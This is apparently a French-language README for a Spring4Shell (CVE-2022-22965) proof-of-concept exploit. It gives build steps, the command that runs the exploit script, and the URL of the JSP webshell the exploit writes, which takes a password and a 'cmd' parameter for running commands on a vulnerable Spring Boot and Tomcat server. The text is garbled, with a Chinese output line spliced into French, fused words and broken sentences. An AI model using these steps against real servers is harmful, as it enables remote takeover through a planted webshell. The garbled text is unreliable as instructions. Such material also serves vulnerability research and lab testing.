
Preuve de concept d'exploit pour Spring4Shell (CVE-2022-22965) qui déploie un webshell JSP via des requêtes HTTP forgées vers des applications Spring Boot vulnérables sur Apache Tomcat.
Description de la vulnérabilité : https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html
Construction du POC : https://github.com/BobTheShoplifter/Spring4Shell-POC
Testé avec JDK 11.0.14, Spring Boot 2.6.5 et Apache Tomcat 9.0.60
mvn clean package pour construire l'applicationdemo-0.0.1-SNAPSHOT.war en spring-poc.war et copiez ce fichier .war dans le répertoire webapps de Tomcatpython exp.py --url http://localhost:8080/spring-poc/greeting
漏洞存在,shell地址为:http://localhost:8080/spring-poc/tomcatwar.jsp?pwd=j&cmd=whoami sera enregistré.tomcatwar.jsp écrit dans le répertoire webapps/spring-poc de Tomcat. Ce répertoire peut être modifié en modifiant exp.py.

